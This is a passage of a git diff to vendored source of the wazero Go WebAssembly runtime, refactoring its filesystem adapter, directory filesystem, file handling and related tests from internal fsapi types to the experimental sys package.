b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go @@ -7,7 +7,7 @@ import ( "net" "time" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) @@ -110,11 +110,11 @@ func (c *Context) RandSource() io.Reader { } // DefaultContext returns Context with no values set except a possible nil -// fsapi.FS. +// sys.FS. // // Note: This is only used for testing. -func DefaultContext(fs fsapi.FS) *Context { - if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []fsapi.FS{fs}, []string{""}, nil); err != nil { +func DefaultContext(fs experimentalsys.FS) *Context { + if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []experimentalsys.FS{fs}, []string{""}, nil); err != nil { panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err)) } else { return sysCtx @@ -135,7 +135,7 @@ func NewContext( nanotimeResolution sys.ClockResolution, nanosleep sys.Nanosleep, osyield sys.Osyield, - fs []fsapi.FS, guestPaths []string, + fs []experimentalsys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (sysCtx *Context, err error) { sysCtx = &Context{args: args, environ: environ} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go index 75d70888c8..51a9a54804 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go @@ -6,45 +6,39 @@ import ( "path" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -// Adapt adapts the input to fsapi.FS unless it is already one. Use NewDirFS instead -// of os.DirFS as it handles interop issues such as windows support. -// -// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read -// flags as there is no parameter to pass them through with. Moreover, fsapi.FS -// documentation does not require the file to be present. In summary, we can't -// enforce flag behavior. -func Adapt(fs fs.FS) fsapi.FS { - if fs == nil { - return fsapi.UnimplementedFS{} - } - if sys, ok := fs.(fsapi.FS); ok { - return sys - } - return &adapter{fs: fs} +type AdaptFS struct { + FS fs.FS } -type adapter struct { - fsapi.UnimplementedFS - fs fs.FS +// String implements fmt.Stringer +func (a *AdaptFS) String() string { + return fmt.Sprintf("%v", a.FS) } -// String implements fmt.Stringer -func (a *adapter) String() string { - return fmt.Sprintf("%v", a.fs) +// OpenFile implements the same method as documented on sys.FS +func (a *AdaptFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(a.FS, cleanPath(path), flag, perm) } -// OpenFile implements the same method as documented on fsapi.FS -func (a *adapter) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(a.fs, cleanPath(path), flag, perm) +// Lstat implements the same method as documented on sys.FS +func (a *AdaptFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + // At this time, we make the assumption sys.FS instances do not support + // symbolic links, therefore Lstat is the same as Stat. This is obviously + // not true, but until FS.FS has a solid story for how to handle symlinks, + // we are better off not making a decision that would be difficult to + // revert later on. + // + // For further discussions on the topic, see: + // https://github.com/golang/go/issues/49580 + return a.Stat(path) } -// Stat implements the same method as documented on fsapi.FS -func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { - f, errno := a.OpenFile(path, fsapi.O_RDONLY, 0) +// Stat implements the same method as documented on sys.FS +func (a *AdaptFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { + f, errno := a.OpenFile(path, experimentalsys.O_RDONLY, 0) if errno != 0 { return sys.Stat_t{}, errno } @@ -52,17 +46,49 @@ func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return f.Stat() } -// Lstat implements the same method as documented on fsapi.FS -func (a *adapter) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - // At this time, we make the assumption that fsapi.FS instances do not support - // symbolic links, therefore Lstat is the same as Stat. This is obviously - // not true but until fsapi.FS has a solid story for how to handle symlinks we - // are better off not making a decision that would be difficult to revert - // later on. - // - // For further discussions on the topic, see: - // https://github.com/golang/go/issues/49580 - return a.Stat(path) +// Readlink implements the same method as documented on sys.FS +func (a *AdaptFS) Readlink(string) (string, experimentalsys.Errno) { + return "", experimentalsys.ENOSYS +} + +// Mkdir implements the same method as documented on sys.FS +func (a *AdaptFS) Mkdir(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Chmod implements the same method as documented on sys.FS +func (a *AdaptFS) Chmod(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rename implements the same method as documented on sys.FS +func (a *AdaptFS) Rename(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rmdir implements the same method as documented on sys.FS +func (a *AdaptFS) Rmdir(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Link implements the same method as documented on sys.FS +func (a *AdaptFS) Link(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Symlink implements the same method as documented on sys.FS +func (a *AdaptFS) Symlink(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Unlink implements the same method as documented on sys.FS +func (a *AdaptFS) Unlink(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Utimens implements the same method as documented on sys.FS +func (a *AdaptFS) Utimens(string, int64, int64) experimentalsys.Errno { + return experimentalsys.ENOSYS } func cleanPath(name string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go index 5a217394b3..f9823287cf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go @@ -4,15 +4,14 @@ import ( "io" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -func adjustReaddirErr(f fsapi.File, isClosed bool, err error) sys.Errno { +func adjustReaddirErr(f sys.File, isClosed bool, err error) sys.Errno { if err == io.EOF { return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't. } else if errno := sys.UnwrapOSError(err); errno != 0 { errno = dirError(f, isClosed, errno) - // Comply with errors allowed on fsapi.File Readdir + // Comply with errors allowed on sys.File Readdir switch errno { case sys.EINVAL: // os.File Readdir can return this return sys.EBADF diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go index c908d6c550..05d5b647ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go @@ -3,15 +3,13 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) -func NewDirFS(dir string) fsapi.FS { +func DirFS(dir string) experimentalsys.FS { return &dirFS{ dir: dir, cleanedDir: ensureTrailingPathSeparator(dir), @@ -25,8 +23,11 @@ func ensureTrailingPathSeparator(dir string) string { return dir } +// dirFS is not exported because the input fields must be maintained together. +// This is likely why os.DirFS doesn't, either! type dirFS struct { - fsapi.UnimplementedFS + experimentalsys.UnimplementedFS + dir string // cleanedDir is for easier OS-specific concatenation, as it always has // a trailing path separator. @@ -38,22 +39,22 @@ func (d *dirFS) String() string { return d.dir } -// OpenFile implements the same method as documented on fsapi.FS -func (d *dirFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { +// OpenFile implements the same method as documented on sys.FS +func (d *dirFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { return OpenOSFile(d.join(path), flag, perm) } -// Lstat implements the same method as documented on fsapi.FS +// Lstat implements the same method as documented on sys.FS func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { return lstat(d.join(path)) } -// Stat implements the same method as documented on fsapi.FS +// Stat implements the same method as documented on sys.FS func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return stat(d.join(path)) } -// Mkdir implements the same method as documented on fsapi.FS +// Mkdir implements the same method as documented on sys.FS func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) { err := os.Mkdir(d.join(path), perm) if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR { @@ -62,19 +63,19 @@ func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errn return } -// Chmod implements the same method as documented on fsapi.FS +// Chmod implements the same method as documented on sys.FS func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { err := os.Chmod(d.join(path), perm) return experimentalsys.UnwrapOSError(err) } -// Rename implements the same method as documented on fsapi.FS +// Rename implements the same method as documented on sys.FS func (d *dirFS) Rename(from, to string) experimentalsys.Errno { from, to = d.join(from), d.join(to) return rename(from, to) } -// Readlink implements the same method as documented on fsapi.FS +// Readlink implements the same method as documented on sys.FS func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { // Note: do not use syscall.Readlink as that causes race on Windows. // In any case, syscall.Readlink does almost the same logic as os.Readlink. @@ -85,28 +86,23 @@ func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { return platform.ToPosixPath(dst), 0 } -// Link implements the same method as documented on fsapi.FS +// Link implements the same method as documented on sys.FS func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { err := os.Link(d.join(oldName), d.join(newName)) return experimentalsys.UnwrapOSError(err) } -// Rmdir implements the same method as documented on fsapi.FS +// Rmdir implements the same method as documented on sys.FS func (d *dirFS) Rmdir(path string) experimentalsys.Errno { return rmdir(d.join(path)) } -func rmdir(path string) experimentalsys.Errno { - err := syscall.Rmdir(path) - return experimentalsys.UnwrapOSError(err) -} - -// Unlink implements the same method as documented on fsapi.FS +// Unlink implements the same method as documented on sys.FS func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { return unlink(d.join(path)) } -// Symlink implements the same method as documented on fsapi.FS +// Symlink implements the same method as documented on sys.FS func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { // Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved // when dereference the `link` on its usage (e.g. readlink, read, etc). @@ -115,9 +111,9 @@ func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { return experimentalsys.UnwrapOSError(err) } -// Utimens implements the same method as documented on fsapi.FS -func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - return Utimens(d.join(path), times) +// Utimens implements the same method as documented on sys.FS +func (d *dirFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { + return utimens(d.join(path), atim, mtim) } func (d *dirFS) join(path string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go index b3285cab65..9a77205bb5 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go @@ -4,6 +4,7 @@ import ( "io" "io/fs" "os" + "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -20,11 +21,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { } else { mode = st.Mode() } - var flag fsapi.Oflag + var flag experimentalsys.Oflag if stdin { - flag = fsapi.O_RDONLY + flag = experimentalsys.O_RDONLY } else { - flag = fsapi.O_WRONLY + flag = experimentalsys.O_WRONLY } var file fsapi.File if of, ok := f.(*os.File); ok { @@ -36,14 +37,14 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil } -func OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 { +func OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { return nil, experimentalsys.EISDIR // invalid to open a directory writeable } return openFile(path, flag, perm) } -func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { +func OpenOSFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { f, errno := OpenFile(path, flag, perm) if errno != 0 { return nil, errno @@ -51,8 +52,8 @@ func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, ex return newOsFile(path, flag, perm, f), 0 } -func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 { +func OpenFSFile(fs fs.FS, path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { return nil, experimentalsys.EISDIR // invalid to open a directory writeable } f, err := fs.Open(path) @@ -60,7 +61,7 @@ func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsap return nil, errno } // Don't return an os.File because the path is not absolute. osFile needs - // the path to be real and certain fs.File impls are subrooted. + // the path to be real and certain FS.File impls are subrooted. return &fsFile{fs: fs, name: path, file: f}, 0 } @@ -94,7 +95,7 @@ func (f *stdioFile) Close() experimentalsys.Errno { // implementation. Notably, this does not have access to the full file path. // so certain operations can't be supported, such as inode lookups on Windows. type fsFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile // fs is the file-system that opened the file, or nil when wrapped for // pre-opens like stdio. @@ -120,17 +121,17 @@ type fsFile struct { } type cachedStat struct { - // dev is the same as fsapi.Stat_t Dev. + // dev is the same as sys.Stat_t Dev. dev uint64 - // dev is the same as fsapi.Stat_t Ino. + // dev is the same as sys.Stat_t Ino. ino sys.Inode - // isDir is fsapi.Stat_t Mode masked with fs.ModeDir + // isDir is sys.Stat_t Mode masked with fs.ModeDir isDir bool } -// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they // couldn't be retrieved. func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { @@ -141,35 +142,35 @@ func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Dev implements the same method as documented on fsapi.File +// Dev implements the same method as documented on sys.File func (f *fsFile) Dev() (uint64, experimentalsys.Errno) { dev, _, _, errno := f.cachedStat() return dev, errno } -// Ino implements the same method as documented on fsapi.File +// Ino implements the same method as documented on sys.File func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) { _, ino, _, errno := f.cachedStat() return ino, errno } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (f *fsFile) IsDir() (bool, experimentalsys.Errno) { _, _, isDir, errno := f.cachedStat() return isDir, errno } -// IsAppend implements the same method as documented on fsapi.File +// IsAppend implements the same method as documented on sys.File func (f *fsFile) IsAppend() bool { return false } -// SetAppend implements the same method as documented on fsapi.File +// SetAppend implements the same method as documented on sys.File func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) { return fileError(f, f.closed, experimentalsys.ENOSYS) } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { return sys.Stat_t{}, experimentalsys.EBADF @@ -185,7 +186,7 @@ func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return st, errno } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if n, errno = read(f.file, buf); errno != 0 { // Defer validation overhead until we've already had an error. @@ -194,7 +195,7 @@ func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pread implements the same method as documented on fsapi.File +// Pread implements the same method as documented on sys.File func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if ra, ok := f.file.(io.ReaderAt); ok { if n, errno = pread(ra, buf, off); errno != 0 { @@ -233,7 +234,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn return } -// Seek implements the same method as documented on fsapi.File +// Seek implements the same method as documented on sys.File func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { // If this is a directory, and we're attempting to seek to position zero, // we have to re-open the file to ensure the directory state is reset. @@ -256,12 +257,12 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// Readdir implements the same method as documented on fsapi.File +// Readdir implements the same method as documented on sys.File // // Notably, this uses readdirFile or fs.ReadDirFile if available. This does not // return inodes on windows. -func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { - // Windows lets you Readdir after close, fs.File also may not implement +func (f *fsFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + // Windows lets you Readdir after close, FS.File also may not implement // close in a meaningful way. read our closed field to return consistent // results. if f.closed { @@ -277,7 +278,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E } if of, ok := f.file.(readdirFile); ok { - // We can't use f.name here because it is the path up to the fsapi.FS, + // We can't use f.name here because it is the path up to the sys.FS, // not necessarily the real path. For this reason, Windows may not be // able to populate inodes. However, Darwin and Linux will. if dirents, errno = readdir(of, "", n); errno != 0 { @@ -286,17 +287,17 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } - // Try with fs.ReadDirFile which is available on api.FS implementations - // like embed:fs. + // Try with FS.ReadDirFile which is available on api.FS implementations + // like embed:FS. if rdf, ok := f.file.(fs.ReadDirFile); ok { entries, e := rdf.ReadDir(n) if errno = adjustReaddirErr(f, f.closed, e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(entries)) + dirents = make([]experimentalsys.Dirent, 0, len(entries)) for _, e := range entries { // By default, we don't attempt to read inode data - dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: e.Name(), Type: e.Type()}) } } else { errno = experimentalsys.EBADF // not a directory @@ -304,7 +305,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } -// Write implements the same method as documented on fsapi.File. +// Write implements the same method as documented on sys.File. func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if w, ok := f.file.(io.Writer); ok { if n, errno = write(w, buf); errno != 0 { @@ -317,7 +318,7 @@ func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pwrite implements the same method as documented on fsapi.File. +// Pwrite implements the same method as documented on sys.File. func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if wa, ok := f.file.(io.WriterAt); ok { if n, errno = pwrite(wa, buf, off); errno != 0 { @@ -330,7 +331,7 @@ func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err return } -// Close implements the same method as documented on fsapi.File. +// Close implements the same method as documented on sys.File. func (f *fsFile) Close() experimentalsys.Errno { if f.closed { return 0 @@ -343,8 +344,23 @@ func (f *fsFile) close() experimentalsys.Errno { return experimentalsys.UnwrapOSError(f.file.Close()) } +// IsNonblock implements the same method as documented on fsapi.File +func (f *fsFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *fsFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (f *fsFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} + // dirError is used for commands that work against a directory, but not a file. -func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { +func dirError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, false, true); vErrno != 0 { return vErrno } @@ -352,7 +368,7 @@ func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experime } // fileError is used for commands that work against a file, but not a directory. -func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { +func fileError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, true, false); vErrno != 0 { return vErrno } @@ -360,7 +376,7 @@ func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experim } // validate is used to making syscalls which will fail. -func validate(f fsapi.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { +func validate(f experimentalsys.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { if isClosed { return experimentalsys.EBADF } @@ -426,13 +442,13 @@ type readdirFile interface { } // readdir uses readdirFile.Readdir, special casing windows when path !="". -func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { +func readdir(f readdirFile, path string, n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { fis, e := f.Readdir(n) if errno = experimentalsys.UnwrapOSError(e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(fis)) + dirents = make([]experimentalsys.Dirent, 0, len(fis)) // linux/darwin won't have to fan out to lstat, but windows will. var ino sys.Inode @@ -443,7 +459,7 @@ func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno e if ino, errno = inoFromFileInfo(path, t); errno != 0 { return } - dirents = append(dirents, fsapi.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) } return } @@ -465,3 +481,40 @@ func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys. n, err := w.WriteAt(buf, off) return n, experimentalsys.UnwrapOSError(err) } + +func chtimes(path string, atim, mtim int64) (errno experimentalsys.Errno) { //nolint:unused + // When both inputs are omitted, there is nothing to change. + if atim == experimentalsys.UTIME_OMIT && mtim == experimentalsys.UTIME_OMIT { + return + } + + // UTIME_OMIT is expensive until progress is made in Go, as it requires a + // stat to read-back the value to re-apply. + // - https://github.com/golang/go/issues/32558. + // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) + var st sys.Stat_t + if atim == experimentalsys.UTIME_OMIT || mtim == experimentalsys.UTIME_OMIT { + if st, errno = stat(path); errno != 0 { + return + } + } + + var atime, mtime time.Time + if atim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(st.Atim) + mtime = epochNanosToTime(mtim) + } else if mtim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(st.Mtim) + } else { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(mtim) + } + return experimentalsys.UnwrapOSError(os.Chtimes(path, atime, mtime)) +} + +func epochNanosToTime(epochNanos int64) time.Time { //nolint:unused + seconds := epochNanos / 1e9 + nanos := epochNanos % 1e9 + return time.Unix(seconds, nanos) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go index 6023fa9b76..1b97eb860a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go @@ -9,7 +9,6 @@ import ( "runtime" "testing" gofstest "testing/fstest" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -54,7 +53,7 @@ func TestRegularFileSetNonblock(t *testing.T) { defer r.Close() defer w.Close() - rF := newOsFile("", fsapi.O_RDONLY, 0, r) + rF := newOsFile("", experimentalsys.O_RDONLY, 0, r) errno := rF.SetNonblock(true) require.EqualErrno(t, 0, errno) @@ -78,13 +77,13 @@ func TestReadFdNonblock(t *testing.T) { defer w.Close() fd := r.Fd() - err = setNonblock(fd, true) - require.NoError(t, err) + errno := setNonblock(fd, true) + require.EqualErrno(t, 0, errno) // Read from the file without ever writing to it should not block. buf := make([]byte, 8) - _, e := readFd(fd, buf) - require.EqualErrno(t, experimentalsys.EAGAIN, e) + _, errno = readFd(fd, buf) + require.EqualErrno(t, experimentalsys.EAGAIN, errno) } func TestWriteFdNonblock(t *testing.T) { @@ -95,9 +94,9 @@ func TestWriteFdNonblock(t *testing.T) { defer w.Close() fd := w.Fd() - err = setNonblock(fd, true) + errno := setNonblock(fd, true) - require.NoError(t, err) + require.EqualErrno(t, 0, errno) // Create a buffer (the content is not relevant) buf := make([]byte, 1024) @@ -125,7 +124,7 @@ func TestFileSetAppend(t *testing.T) { require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600)) // Open without APPEND. - f, errno := OpenOSFile(fPath, fsapi.O_RDWR, 0o600) + f, errno := OpenOSFile(fPath, experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) require.False(t, f.IsAppend()) @@ -186,7 +185,7 @@ func TestFileIno(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -200,7 +199,7 @@ func TestFileIno(t *testing.T) { } t.Run("OS", func(t *testing.T) { - d, errno := OpenOSFile(tmpDir, fsapi.O_RDONLY, 0) + d, errno := OpenOSFile(tmpDir, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -213,7 +212,7 @@ func TestFileIno(t *testing.T) { }) } -// statSetsIno returns true if this will set fsapi.Stat_t Ino on stat. The +// statSetsIno returns true if this will set sys.Stat_t Ino on stat. The // reverse doesn't mean it won't. Rather it is inconsistent. This is needed // because Windows on Go 1.18 sometimes, but not always returns non-zero inode. func statSetsIno() bool { @@ -244,7 +243,7 @@ func TestFileIsDir(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Run("file", func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -254,7 +253,7 @@ func TestFileIsDir(t *testing.T) { }) t.Run("dir", func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -266,7 +265,7 @@ func TestFileIsDir(t *testing.T) { } t.Run("OS dir", func(t *testing.T) { - d, errno := OpenOSFile(t.TempDir(), fsapi.O_RDONLY, 0) + d, errno := OpenOSFile(t.TempDir(), experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -294,7 +293,7 @@ func TestFileReadAndPread(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -320,7 +319,9 @@ func TestFileReadAndPread(t *testing.T) { } } -func TestFilePollRead(t *testing.T) { +func TestFilePoll_POLLIN(t *testing.T) { + pflag := fsapi.POLLIN + // Test using os.Pipe as it is known to support poll. r, w, err := os.Pipe() require.NoError(t, err) @@ -330,10 +331,10 @@ func TestFilePollRead(t *testing.T) { rF, err := NewStdioFile(true, r) require.NoError(t, err) buf := make([]byte, 10) - timeout := time.Duration(0) // return immediately + timeout := int32(0) // return immediately // When there's nothing in the pipe, it isn't ready. - ready, errno := rF.PollRead(&timeout) + ready, errno := rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.False(t, ready) @@ -343,7 +344,7 @@ func TestFilePollRead(t *testing.T) { require.NoError(t, err) // We should now be able to poll ready - ready, errno = rF.PollRead(&timeout) + ready, errno = rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.True(t, ready) @@ -354,13 +355,32 @@ func TestFilePollRead(t *testing.T) { require.Equal(t, expected, buf[:len(expected)]) } -func requireRead(t *testing.T, f fsapi.File, buf []byte) { +func TestFilePoll_POLLOUT(t *testing.T) { + pflag := fsapi.POLLOUT + + // Test using os.Pipe as it is known to support poll. + r, w, err := os.Pipe() + require.NoError(t, err) + defer r.Close() + defer w.Close() + + wF, err := NewStdioFile(false, w) + require.NoError(t, err) + timeout := int32(0) // return immediately + + // We don't yet implement write blocking. + ready, errno := wF.Poll(pflag, timeout) + require.EqualErrno(t, experimentalsys.ENOTSUP, errno) + require.False(t, ready) +} + +func 